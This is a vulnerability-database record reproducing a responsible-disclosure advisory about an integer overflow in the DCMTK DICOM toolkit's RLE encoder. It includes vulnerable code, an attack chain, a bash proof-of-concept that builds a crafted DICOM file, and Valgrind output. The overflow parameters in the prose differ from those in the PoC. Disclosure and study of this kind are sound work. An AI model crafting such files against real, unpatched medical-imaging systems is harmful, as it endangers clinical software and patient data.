GCVE-1988-2026-0026

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
Title
[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
Summary
Advisory ID: SYSS-2026-049 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). The Run-Length Encoded (RLE) compression codec encoder is vulnerable to an integer overflow in the expected-size sanity check. An attacker who can supply a crafted DICOM file with attacker-controlled image dimensions can bypass the sanity check and cause the encoder to read beyond the Pixel Data heap allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186, 215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic for attacker-controlled dimensions: if (numberOfStripes * columns * rows * numberOfFrames > length) result = EC_CannotChangeRepresentation; const Uint32 bytesPerStripe = columns * rows; frameOffset = frameSize * currentFrame; pixelPointer = pixelData8 + frameOffset + sampleOffset + bytesAllocated - byte - 1; for (pixel = 0; pixel < bytesPerStripe; ++pixel) rleEncoder->add(*pixelPointer); The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535, BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the expected byte count wraps to 1, so a two-byte Pixel Data element passes the check. The encoder then sets bytesPerStripe to 65535 * 65535 and reads past the two-byte heap allocation almost immediately. The attack chain is as follows: 1. The attacker crafts a DICOM file with carefully chosen Rows, Columns, and NumberOfFrames values that make the sanity product overflow to a small value. 2. The Pixel Data element is set to the small overflowed size. 3. The sanity check passes, because the overflowed product is <= length. 4. The encoder enters the stripe loop with the correct (large) bytesPerStripe value. 5. The encoder reads beyond the Pixel Data heap allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following PoC script demonstrates this security vulnerability: cat > poc.sh << 'EOPOC' #!/bin/bash # Demonstrate the RLE encoder size-check overflow through dcmcrle # Proof of concept exploit for SYSS-2026-049 set -u POC_DIR="$(cd "$(dirname "$0")" && pwd)" WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)" INPUT_DUMP="${WORKDIR}/poc.dump" INPUT_DCM="${WORKDIR}/poc.dcm" OUTPUT_DCM="${WORKDIR}/poc.rle.dcm" LOG="${WORKDIR}/dcmcrle.valgrind.log" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT require_tool() { command -v "$1" >/dev/null 2>&1 || { echo "[!] Missing required tool: $1" exit 1 } } require_tool dump2dcm require_tool dcmdump require_tool dcmcrle require_tool valgrind require_tool timeout cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}" echo "[*] RLE encoder expected-size overflow via dcmcrle" echo "[*] Building crafted DICOM input with dump2dcm" dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1 echo "[*] Crafted image parameters:" echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)" echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read" set +e timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \ dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1 RC=$? set -e cat "${LOG}" if [ "${RC}" -eq 99 ] && grep -q "Invalid read of size 1" "${LOG}" && grep -q "DcmRLECodecEncoder::encode" "${LOG}" && grep -q "dcrlecce.cc:268" "${LOG}" && grep -q "0 bytes after a block of size 2" "${LOG}"; then exit 0 fi echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed" echo "[!] Workdir retained for inspection: ${WORKDIR}" trap - EXIT exit 1 EOPOC The exploit causes the RLE encoder to segfault when reading the guard page, confirming the out-of-bounds read. ./poc.sh [*] RLE encoder expected-size overflow via dcmcrle [*] Building crafted DICOM input with dump2dcm [*] Crafted image parameters: (0028,0010) US 65535 # 2, 1 Rows (0028,0011) US 2 # 2, 1 Columns (7fe0,0010) OB 41\42 # 2, 1 PixelData [*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32) [*] Running dcmcrle under Valgrind to stop at the first invalid read ==53104== Invalid read of size 1 ==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103) ==53104== by 0x40044D2: main (dcmcrle.cc:295) ==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd ==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708) ==53104== ==53104== ==53104== Exit program on first error (--exit-on-first-error=yes) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-049 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
Dicom DICOM Toolkit Affected: unknown
guessed Create a notification for this product.
Credits
Matthias Deeg via Fulldisclosure
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-049\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe Run-Length Encoded (RLE) compression codec encoder is vulnerable to\nan integer overflow in the expected-size sanity check. An attacker who\ncan supply a crafted DICOM file with attacker-controlled image dimensions\ncan bypass the sanity check and cause the encoder to read beyond the\nPixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,\n215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic\nfor attacker-controlled dimensions:\n\n  if (numberOfStripes * columns * rows * numberOfFrames \u003e length)\n      result = EC_CannotChangeRepresentation;\n\n  const Uint32 bytesPerStripe = columns * rows;\n\n\n  frameOffset = frameSize * currentFrame;\n  pixelPointer = pixelData8 + frameOffset + sampleOffset +\n                 bytesAllocated - byte - 1;\n  for (pixel = 0; pixel \u003c bytesPerStripe; ++pixel)\n      rleEncoder-\u003eadd(*pixelPointer);\n\nThe sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,\nBitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the\nexpected byte count wraps to 1, so a two-byte Pixel Data element passes\nthe check. The encoder then sets bytesPerStripe to 65535 * 65535 and\nreads past the two-byte heap allocation almost immediately.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,\n     and NumberOfFrames values that make the sanity product overflow\n     to a small value.\n\n  2. The Pixel Data element is set to the small overflowed size.\n\n  3. The sanity check passes, because the overflowed product is \u003c= length.\n\n  4. The encoder enters the stripe loop with the correct (large)\n     bytesPerStripe value.\n\n  5. The encoder reads beyond the Pixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following PoC script demonstrates this security vulnerability:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate the RLE encoder size-check overflow through dcmcrle\n# Proof of concept exploit for SYSS-2026-049\n\nset -u\n\nPOC_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)\"\nINPUT_DUMP=\"${WORKDIR}/poc.dump\"\nINPUT_DCM=\"${WORKDIR}/poc.dcm\"\nOUTPUT_DCM=\"${WORKDIR}/poc.rle.dcm\"\nLOG=\"${WORKDIR}/dcmcrle.valgrind.log\"\n\ncleanup()\n{\n    rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n    command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n        echo \"[!] Missing required tool: $1\"\n        exit 1\n    }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmcrle\nrequire_tool valgrind\nrequire_tool timeout\n\ncp \"${POC_DIR}/exploit_cli.dump\" \"${INPUT_DUMP}\"\n\necho \"[*] RLE encoder expected-size overflow via dcmcrle\"\necho \"[*] Building crafted DICOM input with dump2dcm\"\ndump2dcm \"${INPUT_DUMP}\" \"${INPUT_DCM}\" || exit 1\n\necho \"[*] Crafted image parameters:\"\n\necho \"[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\"\necho \"[*] Running dcmcrle under Valgrind to stop at the first invalid read\"\n\nset +e\ntimeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \\\n    dcmcrle \"${INPUT_DCM}\" \"${OUTPUT_DCM}\" \u003e\"${LOG}\" 2\u003e\u00261\nRC=$?\nset -e\n\ncat \"${LOG}\"\n\nif [ \"${RC}\" -eq 99 ] \u0026\u0026\n   grep -q \"Invalid read of size 1\" \"${LOG}\" \u0026\u0026\n   grep -q \"DcmRLECodecEncoder::encode\" \"${LOG}\" \u0026\u0026\n   grep -q \"dcrlecce.cc:268\" \"${LOG}\" \u0026\u0026\n   grep -q \"0 bytes after a block of size 2\" \"${LOG}\"; then\n\n    exit 0\nfi\n\necho \"[!] FAILED: expected Valgrind invalid-read evidence was not observed\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\n\nThe exploit causes the RLE encoder to segfault when reading the guard\npage, confirming the out-of-bounds read.\n\n./poc.sh\n[*] RLE encoder expected-size overflow via dcmcrle\n[*] Building crafted DICOM input with dump2dcm\n[*] Crafted image parameters:\n\n(0028,0010) US 65535                                    #   2, 1 Rows\n(0028,0011) US 2                                        #   2, 1 Columns\n\n(7fe0,0010) OB 41\\42                                    #   2, 1 PixelData\n[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\n[*] Running dcmcrle under Valgrind to stop at the first invalid read\n==53104== Invalid read of size 1\n==53104==    at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)\n\n==53104==    by 0x40044D2: main (dcmcrle.cc:295)\n==53104==  Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc\u0027d\n\n==53104==    by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)\n\n==53104==\n==53104==\n==53104== Exit program on first error (--exit-on-first-error=yes)\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-049\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/27"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0026",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27",
            "automated": true,
            "contentSha256": "cffd9c10f0b26754d6817aae05cf938555bd615599b8568770c4f94ee5ddcdf4",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:01:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0026"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.